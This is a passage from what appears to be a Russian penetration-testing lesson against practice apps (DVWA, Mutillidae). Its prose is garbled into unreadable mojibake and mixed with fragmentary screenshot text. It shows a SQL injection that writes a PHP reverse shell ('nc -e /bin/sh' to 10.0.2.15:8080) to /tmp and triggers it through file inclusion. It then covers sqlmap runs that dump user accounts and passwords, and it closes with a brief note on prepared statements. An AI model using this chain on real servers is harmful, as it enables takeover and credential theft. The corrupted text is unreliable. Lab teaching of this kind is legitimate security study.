JIe)KaTh HECKOJIBKO CAMTOB, U €CIIK MBI HaiigeM SQL-MHBEKIHIO Ha OJHOM H3
CalTOB, a Ha CepBEPE YA3BUMOCTD JJOKAITBHOTO 3aITycKa (paityioB, TO MOXKHO
CKOMOMHUPOBATH 3TH JIaHHBIC JIJIS1 SKCILTyaTal|u.



Htak, paccMoTpuMm ysi3Bumoe BeO-npunoxenne DVWA, Ha HU3KUX HacTpoikax
oe3omacHocT. OTkpoeM crpanuity «SQL-injection», BBl B mose «id», Kakoe-To

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: SQL Injection - Mozilla Firefox (- -]
Damn Vulnerable Web A X | 4+
< C o @® 10.0.2.7/dvwajvulnerabilities/sqli/?id=1&Submit=Submits e O In @ =

&+ Most Visited @ Getting Started “, KaliLinux ", Kali Training ", Kali Tools  KaliDocs S, Kali Forums ‘s, NetHunter [l Offensive Security & Exploit-DB & GHDB [f] MSFu

o)

Home

Instructions

Setup

Brute Force

Command Execution
CSRF

File Inclusion

[ squinjection |
SQL Injection (Blina) |
I
[EsThecd |
[reswona ]

DVWA Security |
PHP Info |

About

Logout

Username: admin
Security Level: low

Vulnerability: SQL Injection

User ID:

I0: 1
First name: admin
Surname: admin

Submit

More info

View Source | View Help

3anumiem B anpecHoit ctpoke URL, cnenytromiee Beipaskenue: «1 union select

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: SQL Injection - Mozilla Firefox e 0
[® Damn Vulnerable Web 2 x | +
<« c @ ® 10.0.2.7/dvwalvulnerabilities/sqli/?id=1 union select 1,2 %23&Submit=Submité# - O % n @ =

£+ Most Visited @ Getting Started , Kali Linux “, Kali Training “, KaliTools ", KaliDocs % KaliForums “% NetHunter [fj Offensive Security ® Exploit-DB & GHDB [ MSFu

Brute Force

‘Command Execution
CSRF

File Inclusion
[sQLinjectn |
SQL Injection (Blind)
Upload

XSS reflected

XSS stored

DVWA Security
PHP Info
About

Logout |

Username: admin

Security Level: medium
DHDING: dicablad

o)

Vulnerability: SQL Injection

User ID:

ID: 1 union select 1,2 #
First name: admin
Surname: admin

ID: 1 union select 1,2 #
First name: 1
surname: 2

Submit

More info

View Source | View Help

U, xak Buaum, Bce paboTaeT.



Jlanee, s MOMIBITAIOCH 3aMKCaTh MIEJUT B /tmp, a 3aTeM 51 OTKPOIO €T0 C MOMOIIBIO
YSI3BUMOCTH 3amycka ¢aiiios.

Bripaxkenue oueHn mpocToe, HO JAeiicTBeHHOe. OHO BBITVISIUT Kak: «union select
»<?passthru(,,nc -e /bin /sh 10.0.2.15 8080);?>*, null into outfile ,,/tmp
/reverse.php*y.

Kon otnugaercs muIbs T€M, 4TO B HEM IPUCYTCTBYET php 3ammck. Id ykaxem, Kak -
1, 9TOOBI 3HAUEHUS HE TIEPENaBAINCh AIMUHUCTPATOPY:

Mozilla Firefox e 06

10.0.2.7/dvwajvulnerabilitic X | 4

« [CIRA] ® 10.027 ulnera 1 elec et 10.0.2.15 808 t T erse 2 - O N @
% Most Visited @ Getting Started ™, Kali Linux ", Kali Training "\ KaliTools “, KaliDocs ' Kali Forums “ NetHunter JjJOffensive Security & Exploit-DB & GHDB [ MSFu

File '/tap/reverse.php’ already exists |

Buaum BBIBOA 3amucy TOTO, 4TO (haiist ObLI 3amucaH Ha cepBep. [lecTBUTENbHO, 5
3aMKChIBAJ JaHHBIN (haiil IpU MOATOTOBKE K YPOKY.

DTO NPOUCXOIUT HE BCEI/A, TO3TOMY HY>KHO SKCIIEPUMEHTHUPOBATH C
JTUPEKTOPUSIMH, HA IPEIMET IIpaB AOCTYyIA.

[TponomxuMm paccMaTpuBaTh BOIIPOC YCTAHOBKU OOPAaTHOTO COCTUHEHMUS], U B
TEpMHUHAJIC o 3aITyIy netcat:



root@timcore: ~ (I <]

File Edit View 5Search Terminal Help
1~# N
listening on [any]

Teneps MbI citymaeM Bxogsiee noAkiaoueHrne Ha nopt 8080.

Jeno B TOM, 4TO MpeabIAYIINNA SKCIUIOWT MBI 3aTPy3WJIA HA CEPBEP, U C IIOMOLIBIO
HETO MbI MOKEM IOJIYYUTh ITOJIHBIM KOHTPOJIb HaJl CEPBEPOM JKEPTBBI.

MpbI MOXEM Takxke NpoOOBATh IKCILTyaTUPOBATh BCE BEO-MIPUIIOKEHUS], KOTOPBIE
HaxOIATCs Ha HEM.

Jlns marnsnaocty niepeitnem Ha crpanuity DVWA, File Inclusion, u B ctpoke URL
HY>KHO OCYIIECTBHUTH MEPEXO] B TUPEKTOpHIO /etc /passwd. 1o nemaercs ¢
MTOMOMOIIIBIO 3aMKCH: «/../../../../tmp /reverse.php»:



Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: File Inclusion - Mozilla Firefox (- <

Damn Vulnerable Web 2 X | +

« c o 10.0.2.7/dvwajvulner s/fif7pag etc/pass - 9 N @ =
£+ Most Visited @ Getting Started “\, Kali Linux ', Kali Training "\, Kali Tools "\ KaliDocs " Kali Forums ™ NetHunter ffensive Security & Exploit-DB & GHDB I MSFu
‘ootx:0:0:root: daemon:x:1:1:d: st ish binx:2:2:bin:bin /binish sysx:3:3:sys /dev.bin/sh syncx:4:65534:syncibinbin/sync games: A man:x:6:12:man: I1px:7:7:p: /sh mail:x:8:8:mailvarimail [
binish news::9:9:news: bin/sh uucp:10:10:uucp: /binish proxyx:13:13:proxy:binzbin/sh veww-datasx:33:33 www-datazvarhmaw:bin/sh backup:x:34:34:backup:Varbackupsbinish listx:38:38:Mailing List Manager:wvardist/bin/sh ircx:39:39:ircd:Avarrunfired
binish gnatsix:41:41:Gnats Bug-Reporting System (admin).varflibignatsbin/sh nobody:x:65534:65534:nobody: ish 101 ish dhcpx:101:1 Syslogx:102:103:: klogx:103:104:/home/klog binffalse

sshd>x104:65534:Narfun/sshd:usrisbininologin msfadmin:x:1000:1000:msfadmir binbash bind:x:105:11 inftalse postficx:106:115: Jbinfalse fipx:107-65534: : postgres:x-108:117:PostgreSQL administrator, var
liblpastgresqlbinbash mysqlix:109:118:MySQL Server,.varlibimysqlbinfialse tomcal55:x:110:65534:/ust/sharetomcats Subinffalse distccd:x:111:65534://binffalse user:x:1001:1001just a user111, Jhomy ; vinibash
elnetd:x:112:120:/nonexistentiinfalse profipd:x:113:65534-Narkun/profipd binfalse siaid x:114:65534 Narlibinfs:binfalse snmp:115:65534:Narfibisnmp:binfialse

Narning: Cannot modify header Information - headers already sent by (output started at 12)in .inc.php on line 324

Narning: Cannot modify header information - headers already sent by (output started at 12)in .Inc.php on line 325

Narning: Cannot modify header information - headers already sent by (output started at /etc/passwd:12) in Nariwwwidvwaldvwalinc ludes/dvwaPage.inc.php on line 326

Home

Instructions |
Setup |

Brute Force

Command Execution

CSRF |
|

SQL Injection

SQL Injection (Blind)

Upload

XSS reflected

XSS stored |

DVWA Security

Kak Buaum, Bce paboTaer.
Teneps MOXKEM MEPEUTH K HaIlICH TUPEKTOPHUU: «/tmp /reverse.phpy»:

root@timcore: ~
File Edit View Search Terminal Help Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: File Incl

~# nc

li Tools " Kali Docs ', Kali Forums & NetHunter [ Offensi

s:x:3:3:sys/devbin/sh syncx:4:65534:sync:/bin:in/sync games:x5:60:games:
3:13:proxy.bin:/bin/sh www-dat 33:33:www-data:varwwwobin/sh backy
34:65534:n0body:/nonexistent/bin/sh libuuid:x:100:101:Aar/ibAibuuld:/bin/sh d
sfadmin:/bin/bash bind:x:105:113: Narlcache/bind:binfialse postix:x:106:115:
[110:65534:/usrishare/tomcats 5:/binffalse distced x:111:65534:/binffalse users
114:65534:svarflibinfs:ibinfalse snmp:x:115:65534:varlib/snmpiibinfialse
asswd:12) in i inc.php on line 324

d:12) in r inc.php on line 325

asswd:12) in variwwidvwaldvwalinc ludesidvwaPag .php on line 326

B utore Mbl MOkeM BBITIONHATH JIFOOBbIE KOMaH Ikl Ha cepBepe. [1o-cyTH, y Hac ecTh
oOpaTHBIN I, 1 MBI MOXKEM JIEaTh BCE, YTO 3aXOTHUM:



root @timcore: ~ e ® 0

File Edit View Search Terminal Help

AHaJIOTUYHBIM CIOCOOOM MOXKHO KOMOMHHPOBATh BEO-CANThI, KOTOPHIE HAXOIATCS
Ha cepBepe. Kak Bbl nomHMTE, X MOXKET ObITH MHOXECTBO. K ITpuMepy, Ha OTHOM
13 cauToB, Bbl HaM ysa3BUMOCTh SQL-UHBEKIINY, @ HA BTOPOM, YA3BUMOCTb
JIOKaJIbHOTO 3armycka (aitnoB. B utore Bol cMokeTe yCcTaHOBUTH OOpaTHBIN IIEILT,
U JieaTh C CEPBEPOM BCE, UTO 3aXOTUTE.

HNccaenoanne SQL-unbexkunii u padbora ¢ SQLmap.

Bo Bcex mpeapiaymux ypokax Mbl HCITOJIb30BAIM PYYHOM PEKUM, JIJIA TOMCKA
ysi3BuMoctert SQL, rae Mol Betapisiid kog B URL uinu moss BBoja.

DTOT ypoK OyAeT MOCBAIICH aBTOMAaTH3alluH, Ha IpuMepe nHcTpymenTa SQLmap,
Y MbI IOBTOPUM TO, YEMY Mbl HAYUUJIKCh.

DTOT UHCTPYMEHT OYE€Hb MOJIE3€H, U OYeHb yI00eH BO MHOTUX ciiydasix. MHoraa
MHBEKIIMH MOTYYal0TCs HEe TaKhe YIO0OHbIe, U HYKHO Oy/leT BBOJUTH BhIPAKEHUS
OO0JIBIIIOE KOJIMYECTBO pa3, a KaK pa3 3TOT MHCTPYMEHT MO3BOJISIET MPEAOTBPATUTh
IIOTEPIO0 BPEMEHU HaM.

s mprmepa, BO3bMEM CCBUIKY U3 MPEIBIAYIIETO YPOKa, I1I€ B aAPECHON CTPOKE
U

R
[Ham HY>KHO CKONMPOBATh 3Ty CTPOKY, U 3anmycTuTh SQLmap, npeaBapuTeabHO

3aIyCTUB €ro U J00aBUB apIryMEHT «-U», a Takxke BHecTu aapec URL, u oOpamuth
§T0 TIBOMHBIMU KaBbIYKAMH:

< o mO



root@timcore: ~
File Edit View 5earch Terminal Help
~# sqlmap -u "http://10.0.2.7/mutillidae/index.php?page=user-info.p
hp&username=admin&password=aaa&user-info-php-submit-button=View+Account+Details}j

[Tocne 3amycka UHCTPYMEHT TECTUPYET BCE BO3MOXKHbBIC 3HAUCHUS JIJISI IPOBEICHUS
SQL-uHBEKIINH.

root@timcore: ~
File Edit View Search Terminal Help
hp&username=admin&password=aaa&user-info-php-submit-button=View+Account+Details

http://sqlmap.org

['] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting @ 05:22:03 /2019-11-05/

] testing connection to the target URL
] checking if the target is protected by some kind of WAF/IPS
] testing if the target URL content is stable
] target URL content is stable
] testing if GET parameter 'page' is dynamic
1 [ ] GET parameter 'page' appears to be dynamic
] [WARNING] heuristic (basic) test shows that GET parameter 'page' migh
not be injectable
] [INFO] heuristic (XSS) test shows that GET parameter 'page' might be

[
[
[
[
[
[
[
t
[




IIo HUTOI'Y CKAHUPOBAHU, OH COXPAHACT B IIaMATb I/IH(l)OpMaHI/IIO O TOM, I'AC MOXKXHO
IMPOBCCTU MHBCKIHIO.

Taxoke, npu ckanupoBanuu SQLmap HaxoauT 6a3bl JaHHBIX, KOTOPHIE
UCIIOJIb3YIOTCSl Ha BEO-CTpaHUIIE:

root@timcore: ~ e ® 0

File Edit Vlew Search Termlnal Help

es ‘MySQL >= 5.0 error-based - Parameter replace (FLOOR)
'MySQL inline queries'
‘PostgreSQL inline queries'
‘Microsoft SQL Server/Sybase inline queries'
‘PostgreSQL > 8.1 stacked queries (comment)'
'‘Microsoft SQL Server/Sybase stacked queries (comment)

'Oracle stacked queries (DBMS PIPE.RECEIVE MESSAGE - c

‘MySQL >= 5.0.12 AND time-based blind'
‘PostgreSQL > 8.1 AND time-based blind'
‘Microsoft SQL Server/Sybase time-based blind (IF)
‘Oracle AND time-based blind'
: 'Generic UNION query (NULL) - 1 to 10 columns
GET palanetel ‘page’ does not seem to be 1njectab1e
sting if GET pﬂrﬂnHTHr username is
[L'HF‘HI[- G] GET parameter 'username' does not appea o be dynamic
[INFO] heuristic {ba51c] test shows that GET parametel ‘username’ mig
t be 1n]ectab1e (possible DBMS: 'PostgreSQL or MySQL')
] [INFO] heuristic {XSSJ test shows that GET parameter 'username' might
be vulnerable to cross-site sclipting (XSS) attacks
[ 1 I ] testing for SQL injection on GET parameter 'username'’
it looks like the back-end DBMS is 'PostgreSQL or MySQL'. Do you want to skip te
st payloads specific for other DBMSes? [Y/n]

[
[
[
[
[
[
[
0
[
[
[
[
[
[
[
[
[

=

—

UToOBI HE 3aTATUBAThH NPOIIECC TECTUPOBAHUS, 51 0TBeuy «/la», 4ToObI HE TEpSATH
CJIMIIKOM MHOTO BPEMEHU:



root@timcore: ~ e ® O
File Edit View Search Terminal Help
j 'PostgreSQL inline queries'
‘Microsoft SQL Server/Sybase inline queries'
g 'PostgreSQL > 8.1 stacked queries (comment)'
ting 'Microsoft SQL Server/Sybase stacked queries (comment)

esting 'Oracle stacked queries (DBMS PIPE.RECEIVE MESSAGE - c
mment) '

[

0

[ ‘MySQL >= 5.0.12 AND time-based blind'

[ ‘PostgreSQL > 8.1 AND time-based blind'

[ ] g 'Microsoft SQL Server/Sybase time-based blind (IF)'
[ ] g 'Oracle AND time-based blind'
[

[

[

[

[

'Generic UNION query (NULL) - 1 to 10 columns'

[WARNING‘ GET parameter 'page’ does not seem to be 1n]ectable

[ ] ting if GET parameter username is am

[WARNING] GET parameter ‘'username' does appear to hH dynamic

] [INFO] heuristic (basic) test shows that GET parameter 'username' mig

1t be injectable (possible DBMS: 'PostgreSQL or MySQL')
[ ] [INFO] heuristic (XSS) test shows that GET parameter 'username' might
be vulnerable to cross-site scripting (XSS) attacks
[ 1 I ] testing for )L injection on GET parameter 'username'
it looks like the back-end DBMS is 'PostareSOL or MySQL'. Do you want to skip te
st payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to inctiude all tests for 'PostgreSQL or MyS
QL' extending provided level (1) and risk (1) values? [Y/n]

SQLmap He 3HaeT TOYHO, KaKyto 0a3y aHHbIX BeI ncnonb3yere, 10o3TOMY
oTBedaeM «/lan:

root@timcore: ~ e ® O

File Edit View Search Terminal Help

testing 'MySQL mth stacked queries (query SLEEP - comment
‘MySQL $.051 stacked queries (query SLEEP)'

‘"MySQL .0, stacked queries (heavy query - comment

'MySOL < 5.0.12 stacked queries (heavy query)'
‘MySQL >= 5.0.12 AND time-based blind'
[INFO] GET palametEI 'username’ appears to be 'MySQL >= 5.0.12 AND ti
e-based blind' injectable
ting 'Generic UNION query (NULL) - 1 to 20 columns'
19 'MySQL UNION query (NULL) 1 to 29 columns

[
)
[
[
)
[
[
[
m

[

[

[

]_||||.~ tests as at

[ ] 'ORDER BY
ime needed to find the

ng the ra \

[ CIE
[ ] [INFO] GET palametEI
® columns' injectable
] [WARNING] in OR boole
f switch '--drop-set-cookie' if you

GET parameter ‘username’ is vulnerable. Do you want to keep testing the others (
it any)? Ly/N] R




[Tocne 3aBeprieHUs] CKAHUPOBAHUS, y HAaC onpenenuiack 6aza gaaaeix (MySQL),
u enie oOHapyxeH ysa3BuMblid mapametrp GET «usernamey.

Jlanee MHCTPYMEHT MPOCHUT MTOATBEPKICHUE IS TAJIbHEHIINX IEUCTBUM, U 5
orBeuy «Noy», 4TOOBI HE 3aTATUBATh:

root@timcore: ~ e e O

File Edit View Search Terminal Help
> C r-info-php-submit-butto

SLEEP(5)-- PQ

[iew Account

[INFO the back end DBMS is MySOQL

es under '/root/.sqlmap/output/

Mp1 BusiuM oToOpakeHue 0as3bl TaHHBIX, JaHHBIE TI0 BEO-CEPBEPY U HAMMEHOBAHUE
TEXHOJIOTUH, KOTOPhIE MPUMEHSIOTCS B JAHHOM BEO-TIPUIIOKECHUH.

[TocmoTpuMm, 9TO e11e MBI MOJKEM y3HaTh 00 3TOM HHCTpyMeHTe. HactositensHO
PEKOMEH/IyIO ITPOYUTATh CIPABKY, C TOMOUILI0 KOMaHbl «sqlmap —help»:



root@timcore: ~ e e Q.

http://sglmap.or

python sqlmap [options]

Options:
-h, --help
-hh

[TpockaHupyeM CCHUIKY ¢ TOMOIIBIO 3aUCH «sqlmap -u
button=View+Account+Details" —dbs»:

root@timcore: ~ [ C I <]
File Edit View Search Terminal Help

Heron)

fetched data lo d to text files under '/root/.sglmap/output/10.0.2.7'

19-11-05/

MBI osTyunin Cucok 6a3 TaHHBIX.

MoskeM MoJTyduTh TEKYIIETO IOJIb30BaTeIIs Ha CTPAHUIIE, T0OABHB K OCHOBHOM
sanncu URL — current-user, n uckimounB — dbs:



root@timcore: ~ e ® 0
File Edit View Search Terminal Help

blind
dmin' AND SLEEP(5)-- PQc

[INFO] the back end DBHS is NySQL
-ion technol y: .

L

[ ched data logged to text files under '/root/.sqlmap/output/10.0.2.7'

[*] ending @ 05:51:07 /2019-11-05/

~# ]

A ecnd sl IPOIHIILY Ty K€ CaMYIO 3aIlHCh, TOJBKO C UCKIIFOUEHHUEM - - current-user,
Ha - - current-db, To moy4y UCHONIB3yeMYI0 0a3y TaHHBIX Ha TEKYIIHUl MOMEHT:

root@timcore: ~ o ® O
File Edit View Search Terminal Help

ount De T411

ed blind
dmin' AND SLEEP(5)-- P

] [INFO] the back-end DBMS is MySQL
fer HPH?#TIHW tem: Linux Ubuntu ¢

hﬂtF—HHd D

[ ]

current database: I
[ 1 [ fetched data logged to . files under '/root/.sqlmap/output/10.0.2.7'

[*] ending @ 05:53:47 19-11-05/

~#

JlomycTrM, HaM HY>KHO BBITAllIUTh HH(POPMALIMIO U3 TeKyIlen 0a3bl JaHHBIX. C

5 v E oz od



fetched data logged to text files under '/root/.sqlmap/output/10.0.2.7'

ending @ 05:57:14 9-11-05/

Kak Bugum, cymiectByet 6 Tabaull B TEKyIIei 0a3e TaHHbIX.
Ecnu HaMm HyXHO BBITAITUTh UH(GOPMALIMIO U3 TAOJIUIIBI, K TPUMEPY «accountsy, TO
3anuch OyneT UMeTh BU: «--columns -T accounts -D owasp10»:

root@timcore: ~ Q0 0 O
File Edit View Search Terminal Help

table 'accounts' in database 'owaspl@’

fetched data logged to text files under '/root/.sqlmap/output/10.0.2.7'

ending @ 06:02:04 /2019-11-05/

~#

MpbI MOXeEM cKauaTh CTONOLIBI, C TOMOIIbIO oMK «dumpy, 1 3anuch OyzneT
BBITVIAZIETh KakK: « -T accounts -D owasp10 - -dump»:



root@timcore: ~ e ® O
File Edit View Search Terminal Help
back-end DBMS:
1g columns for table 'accounts' in database 'owasplO'
ing entries for table 'accounts' in database 'owaspl®'

admin \ adming
timcore \ timcorel
FiAmem e

[ [ ] table 'owaspl®.accounts' dumped to CSV file '/root/.sqlmap/output/10.0.2.7/dump/owasple/
hccounts.csv'

OTau4yHO, MBI TTOJTYYMJIM JIOTHHBI U TAPOJIA BCEX IMOIb30BaTeIeh. DTO ellle pa3
MoAYEPKUBAET TO, 4TO SQLmap o4yeHb MoJIe3HbIM HHCTPYMEHT.

SQL — unbeknuu. be3onacHocTb.

Kak Br1 yxe yoenunucek, SQL-uHBEKIINHM OY€Hb OMACHBIE U UX OYEHB JIETKO HANTH.
B GonbmmHCcTBE CBOEM, 1St 0€30MaCHOCTH UCTIONB3YIOTCS (DUIIBTPBI, HO HA CaMOM
JieJie OHU TArOT JIUIIb €€ BUAUMOCTh. OHU 00XOASTCS C MOMOIIBIO SHKOAMHTA,

MIPOKCH U T. 1.

HexkoTopbie mporpaMMHUCThI UCTIONB3YIOT Y€PHBIE CITUCKH, JJ1s1 OJTOKUPOBKHU
BBIPKEHUM, K IPUMEPY BBHIPAKECHHUE «UNiony.

Ha camom ACJIC, BCC BhIMICIICPCHHUCICHHBIC MCTOZIbI HC MOT'YT 00eCIeunTh
HAJIC’)KHYTIO 3allnTy.

Jlyymmm ciocoOoM B Halllel CUTyaruu Oy/IeT MPorpaMMUPOBAHUE JIJIst
HEBO3MOKHOCTH JI0CTYIA U BbINMOIHEHUS SQL-UHBEKIU.

3amura npuiaokeHus: OyAeT BhIIIAAETh TAKUM 00pa3oM, YTO MapamMeTphbl
MPOIUCHIBAIOTCS B KO, U HE CKPBIBAIOTCA, KaK B CIIy4ae ¢ (PUIbTPaMU:



0
File Edit View Selection Find Packages Help

Project

m accounts where username='admin' union select

e("Select * from accounts where username = ?")
array('$textbox'))

Bo MHorux szpikax, Takux kak PHP ectb Takas ¢pyHkims.

[Tocne «prepare», HaM HY>KHO OTHPaBUTh 3HAYCHHE:

LN J
File Edit View Selection Find Packages Help

* from accounts where username='admin' union s

are("Select * from accounts where username = ?")
e(array('$textbox'))

Bbl MokeTe ucnonb30Bath GUIBTP, KAK BTOPOUM YPOBEHb 3aIUTHI, @ TAKKE UMETh
KaK MOXXHO MEHbIIIE mpaB. JJi1 Kax 101l u3 6a3 JaHHBIX UCTIOIB3YHTE OJHOTO
MOJIH30BaTENsl C MUHMMAaJIbHBIM Ha0OpOM IpaB.

Ha stom Bce. Becem xopomero nas!



